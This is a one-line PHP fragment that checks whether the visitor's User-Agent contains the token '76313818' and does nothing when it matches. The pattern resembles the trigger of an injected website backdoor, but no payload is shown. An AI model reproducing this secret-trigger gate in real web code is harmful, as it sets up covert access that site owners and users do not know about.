<?php if(isset($_SERVER['HTTP_USER_AGENT'])) { if(strpos($_SERVER['HTTP_USER_AGENT'], '76313818') !== false) { } }